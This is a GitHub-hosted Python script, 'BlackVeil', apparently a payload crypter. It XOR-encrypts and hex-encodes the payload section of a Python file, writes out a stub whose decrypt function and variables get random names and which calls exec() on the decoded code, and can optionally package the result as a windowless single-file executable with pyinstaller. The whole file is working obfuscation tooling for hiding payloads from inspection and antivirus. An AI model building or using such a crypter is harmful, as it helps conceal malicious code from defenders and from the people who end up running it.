-
Notifications
You must be signed in to change notification settings - Fork 3
/
black_veil.py
163 lines (147 loc) · 5.97 KB
/
black_veil.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
import sys, platform
from random import randint, choice
import binascii, subprocess
from secrets import token_urlsafe
from string import digits, punctuation, ascii_lowercase
# -------------------------------------- #
# BANNER #
# -------------------------------------- #
print("\033[93m")
print(" __ ) | | \ \ / _) |")
print(" __ \ | _` | __| | / \ \ / _ \ | |")
print(" | | | ( | ( < \ \ / __/ | |")
print(" ____/ _| \__,_| \___| _|\_\ \_/ \___| _| _____|")
print(" v1.6.0\033[00m")
# Check args:
if len(sys.argv) != 2:
print("\n\033[94m[*]\033[00m Usage: {0} path/to/file.py\n".format(sys.argv[0]))
sys.exit()
# Check System:
if platform.system() != "Linux": #not in ["Linux", "Windows"]: <- Test this stuff later
print("\n\033[93m[!] {0} was developed for use in Linux environments. The Windows module is still in alpha.\033[00m\n".format(sys.argv[0]))
# Clean Token:
def clean(token: str) -> str:
tmp = token
for i in "{0}".format(digits + punctuation):
if i in tmp:
tmp = tmp.replace(i, "")
return choice(ascii_lowercase) + tmp
# -------------------------------------- #
# SETUP #
# -------------------------------------- #
KEY_SIZE = randint(2048, 4096)
DEC_FNAME = '{0}'.format(clean(token_urlsafe(randint(8, 16)))).lower()
# Encrypt function:
def encrypt(content: str, key: str) -> bytes:
key_id = 0
xored = ""
for key_id, c in enumerate(content):
xored += chr(ord(key[key_id % len(key)]) ^ ord(c))
key_id += 1
return binascii.hexlify(xored.encode())
# Check for compiling:
generated_file = False
# -------------------------------------- #
# READ FILE #
# -------------------------------------- #
print("\n\033[94m[*]\033[00m Reading {0}: ".format(sys.argv[1]), end="")
try:
with open(sys.argv[1], "r") as fl:
data = fl.read().split("#-----#")
print("\033[92mDONE\033[00m")
except Exception as error:
print("\033[91mERROR\033[00m")
print("\t" + str(error))
sys.exit()
# -------------------------------------- #
# PREPARE CRYPTER STUFF #
# -------------------------------------- #
# Generate key:
print("\033[94m[*]\033[00m Generating key: ", end="")
unique_key = clean(token_urlsafe(KEY_SIZE))
print("\033[92mDONE\033[00m")
# Generate decrypt function:
print("\033[94m[*]\033[00m Generating decrypt function: ", end="")
decrypt_function = """def {6}({5}, {4}='{0}'):
{1} = 0
{2} = ''
for {1}, {3} in enumerate(binascii.unhexlify({5}).decode()):
{2} += chr(ord({4}[{1} % len({4})]) ^ ord({3}))
{1} += 1
return {2}
""".format(unique_key, clean(token_urlsafe(randint(4, 16))), clean(token_urlsafe(randint(4, 16))), clean(token_urlsafe(randint(4, 16))), clean(token_urlsafe(randint(4, 16))), clean(token_urlsafe(randint(4, 16))), DEC_FNAME)
print("\033[92mDONE\033[00m")
# -------------------------------------- #
# PREPARE HEADER #
# -------------------------------------- #
print("\033[94m[*]\033[00m Preparing header: ", end="")
header = "import binascii;" + data[0].replace("\n", ";")
header += "\n{0}".format(decrypt_function)
print("\033[92mDONE\033[00m")
# -------------------------------------- #
# ENCRYPTING PAYLOAD #
# -------------------------------------- #
print("\033[94m[*]\033[00m Encrypting payload: ", end="")
try:
payload = data[1]
encoded_payload = encrypt(payload, unique_key)
print("\033[92mDONE\033[00m")
except Exception as error:
print("\033[91mERROR\033[00m")
print("\t" + str(error))
sys.exit()
# -------------------------------------- #
# CREATE FOOTER #
# -------------------------------------- #
print("\033[94m[*]\033[00m Generating file footer: ", end="")
footer = 'exec({1}({0}))'.format(encoded_payload, DEC_FNAME)
print("\033[92mDONE\033[00m")
# -------------------------------------- #
# CREATE NEW FILE #
# -------------------------------------- #
print("\033[94m[*]\033[00m Exporting file: ", end="")
try:
new_filename = "{0}.output.py".format(sys.argv[1])
with open(new_filename, "w") as fl:
fl.write(header + "\n")
fl.write(footer)
generated_file = True
print("\033[92mDONE\033[00m")
print("\tFile exported to \033[92m{0}\033[00m\n".format(new_filename))
except Exception as error:
print("\033[91mERROR\033[00m")
print("\t" + str(error))
sys.exit()
# -------------------------------------- #
# COMPILE #
# -------------------------------------- #
if generated_file:
print("\033[94m[*]\033[00m Compile? [y/N]:")
opt = input(">>> ").lower()
if opt in ["yes", "y"]:
comp_key = token_urlsafe(KEY_SIZE)
for i in punctuation:
if i in comp_key:
comp_key = comp_key.replace(i, "")
print("\033[94m[*]\033[00m Compiling: ", end="")
# Compile:
try:
cmd = "pyinstaller --distpath . --name {2} --noconfirm --onefile --key {0} --noconsole {1}".format(comp_key, new_filename, sys.argv[1].split(".")[0])
subprocess.run(cmd, shell=True)
# Clean:
if platform.system() == "Windows":
cmd = "del /f /q build/ {0}.spec".format(sys.argv[1].split(".")[0])
elif platform.system() == "Linux":
cmd = "rm -rf build/ {0}.spec".format(sys.argv[1].split(".")[0])
subprocess.run(cmd, shell=True)
# SUCCESS:
print("\033[92mDONE\033[00m")
except Exception as error:
# ERROR:
print("\033[91mERROR\033[00m")
print("\t" + str(error))
sys.exit()
# -------------------------------------- #
# CLOSE BLACK VEIL #
# -------------------------------------- #
print("\033[94m[*]\033[00m Thank you for using BlackVeil.")